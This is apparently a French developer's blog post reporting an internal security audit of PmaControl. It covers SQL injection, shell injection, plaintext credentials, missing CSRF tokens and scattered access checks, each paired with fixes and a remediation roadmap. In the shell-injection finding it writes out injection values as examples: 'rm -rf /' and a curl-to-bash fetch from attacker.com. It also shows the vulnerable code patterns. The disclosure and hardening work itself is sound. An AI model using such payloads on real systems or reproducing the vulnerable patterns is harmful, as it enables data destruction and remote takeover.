Audit Sécurité PmaControl : Feuille de Route de Durcissement

Aurélien LEQUOY · 10 mars 2026

PMACONTROL SECURITY SQL-INJECTION AUDIT HARDENING

Pourquoi auditer son propre code

PmaControl supervise des infrastructures MariaDB / MySQL de production. Il a accès aux métriques, aux configurations, aux clés SSH, aux credentials de connexion. C'est une cible de choix pour un attaquant.

Nous avons mené un audit sécurité interne — pas pour publier un rapport marketing, mais pour identifier les failles réelles et prioriser leur correction. Cet article détaille les résultats sans complaisance.

Méthodologie

L'audit a couvert :

- **Revue de code statique** : analyse manuelle des controllers, modèles et vues PHP
- **Analyse dynamique** : tests d'injection sur les formulaires et les endpoints API
- **Configuration** : fichiers de configuration, permissions filesystem, secrets

- **Architecture** : surface d'attaque, isolation des composants, flux de données

Constat 1 : Injection SQL via construction dynamique de requêtes

Sévérité : CRITIQUE

Plusieurs controllers construisent des requêtes SQL en concaténant directement les paramètres utilisateur :

```
// Pattern trouvé dans plusieurs controllers
$sql = "SELECT * FROM servers WHERE name LIKE '%" . $_GET['search'] . "%'";
$results = $db->query($sql);
```

Ce pattern est vulnérable à l'injection SQL classique. Un attaquant peut exfiltrer des données, modifier des enregistrements, ou dans le pire cas, exécuter des commandes système via `INTO OUTFILE` ou `LOAD_FILE()`.

Instances identifiées

Controller	Endpoint	Paramètre vulnérable
ServerController	/servers/search	search
TagController	/tags/filter	name
LogController	/logs/view	server_id, date_range
MetricController	/metrics/query	metric_name

Remédiation

Passer à des **requêtes paramétrées** (prepared statements) :

```
// Avant (vulnérable)
$sql = "SELECT * FROM servers WHERE name LIKE '%" . $search . "%'";

// Après (sécurisé)
$sql = "SELECT * FROM servers WHERE name LIKE ?";
$results = $db->query($sql, ['%' . $search . '%']);
```

Le framework Glial supporte nativement les prepared statements. Le problème n'est pas technique mais historique : le code a été écrit avant l'adoption systématique de cette pratique.

Constat 2 : Injection shell dans le controller Backup

Sévérité : CRITIQUE

Le controller de backup passe des entrées utilisateur directement à `shell_exec()` :

```
// Pattern trouvé dans BackupController
$output = shell_exec("mysqldump -h " . $host . " -u " . $user . " " . $database);
```

Si `$host` contient `; rm -rf /` ou `$(curl attacker.com/shell.sh | bash)`, la commande est exécutée avec les privilèges du processus PHP.

C'est la vulnérabilité la plus grave de l'audit. Un attaquant avec accès au formulaire de backup peut obtenir un **shell complet sur le serveur PmaControl**.

Remédiation

1. **Supprimer tout `shell_exec()` avec des paramètres utilisateur** — aucune exception
2. Utiliser `escapeshellarg()` comme mesure transitoire si la suppression n'est pas immédiate
3. À terme, remplacer les appels shell par des **bibliothèques PHP natives** (PDO pour mysqldump, phpseclib pour SSH)

```
// Mesure transitoire (pas suffisante seule)
$output = shell_exec("mysqldump -h " . escapeshellarg($host) . " ...");

// Solution définitive : pas de shell du tout
$pdo = new PDO("mysql:host=$host;dbname=$database", $user, $pass);
// ... backup via PDO et SELECT INTO OUTFILE ou équivalent
```

Constat 3 : Mots de passe en clair dans les fichiers de configuration

Sévérité : HAUTE

Les credentials de connexion aux bases de données supervisées sont stockés en clair dans les fichiers de configuration PHP :

```
// config/database.php
$config['servers'] = [
    'prod-master' => [
        'host' => '10.0.1.10',
        'user' => 'pmacontrol',
        'password' => 'P@ssw0rd123!',  // En clair
    ],
];
```

Ces fichiers sont accessibles à tout utilisateur ayant un accès en lecture au filesystem. Ils sont aussi potentiellement commités dans Git.

Remédiation

1. **Chiffrer les secrets au repos** avec une clé dérivée d'une variable d'environnement
2. Utiliser un **gestionnaire de secrets** (HashiCorp Vault, AWS Secrets Manager) pour les déploiements cloud
3. À minima, stocker les passwords dans des **variables d'environnement** plutôt que dans des fichiers

```
// Après remédiation
$config['servers'] = [
    'prod-master' => [
        'host' => '10.0.1.10',
        'user' => 'pmacontrol',
        'password' => getenv('PMAC_PROD_MASTER_PASS'),
    ],
];
```

Constat 4 : Absence de protection CSRF

Sévérité : HAUTE

Les formulaires de PmaControl ne contiennent pas de token CSRF (Cross-Site Request Forgery). Un attaquant peut créer une page web malveillante qui soumet un formulaire PmaControl au nom de l'utilisateur connecté.

Scénario d'attaque :

1. L'administrateur PmaControl est connecté dans un onglet
2. Il visite une page web malveillante dans un autre onglet
3. La page contient un formulaire invisible qui soumet `POST /servers/delete/42`
4. Le navigateur envoie le cookie de session PmaControl — le serveur est supprimé

Remédiation

Implémenter des **tokens CSRF** sur tous les formulaires POST :

```
// Génération du token
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));

// Dans le formulaire
<input type="hidden" name="csrf_token" value="<?= $_SESSION['csrf_token'] ?>">

// Validation côté serveur
if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
    http_response_code(403);
    die('CSRF token mismatch');
}
```

Constat 5 : Contrôle d'accès dispersé

Sévérité : MOYENNE

Les vérifications ACL (Access Control List) ne sont pas centralisées. Chaque controller implémente ses propres vérifications de permissions, de manière inconsistante :

```
// Controller A : vérifie les permissions
if (!$user->hasPermission('server.delete')) {
    redirect('/unauthorized');
}

// Controller B : ne vérifie rien
public function deleteServer($id) {
    $this->ServerModel->delete($id);  // Pas de vérification ACL
}
```

Remédiation

Centraliser les ACL dans un **middleware** exécuté avant chaque action controller :

```
// Middleware centralisé
class AclMiddleware {
    public function before($controller, $action) {
        $permission = $controller . '.' . $action;
        if (!$this->user->hasPermission($permission)) {
            throw new ForbiddenException();
        }
    }
}
```

Feuille de route de remédiation

Priorité 1 — Critique (immédiat)

Action	Effort estimé	Statut
Requêtes paramétrées dans tous les controllers	3-5 jours	En cours
Suppression de shell_exec avec entrées utilisateur	1-2 jours	En cours
Tokens CSRF sur tous les formulaires	2-3 jours	Planifié
Chiffrement des secrets dans la config	1-2 jours	Planifié

Priorité 2 — Haute (sous 30 jours)

Action	Effort estimé	Statut
Isolation des workers SSH/backup dans un processus séparé	5-8 jours	Planifié
Audit des permissions filesystem	1 jour	Planifié
Rate limiting sur l'API et l'authentification	2-3 jours	Planifié

Priorité 3 — Moyenne (sous 90 jours)

Action	Effort estimé	Statut

Centralisation des ACL dans un middleware	3-5 jours	Planifié
Normalisation des patterns controller	5-8 jours	Planifié
Security headers (CSP, HSTS, X-Frame-Options)	1 jour	Planifié
Logging de sécurité centralisé	2-3 jours	Planifié

Ce que cet audit ne couvre pas

- Les vulnérabilités dans les dépendances tierces (jQuery, Bootstrap) — un audit séparé est prévu
- Les vulnérabilités réseau (firewall, TLS) — c'est la responsabilité de l'infrastructure
- Le social engineering et le phishing — hors scope technique

Conclusion

Un outil de monitoring qui a accès aux credentials de production est une cible critique. PmaControl, comme beaucoup de projets open source qui ont grandi organiquement, porte des dettes de sécurité historiques.

La transparence sur ces failles est un choix délibéré. Nous préférons documenter publiquement les vulnérabilités et la feuille de route de remédiation plutôt que de prétendre que le code est sécurisé.

Les correctifs P1 sont en cours. Les P2 et P3 suivent un planning réaliste. Chaque release de PmaControl réduit la surface d'attaque.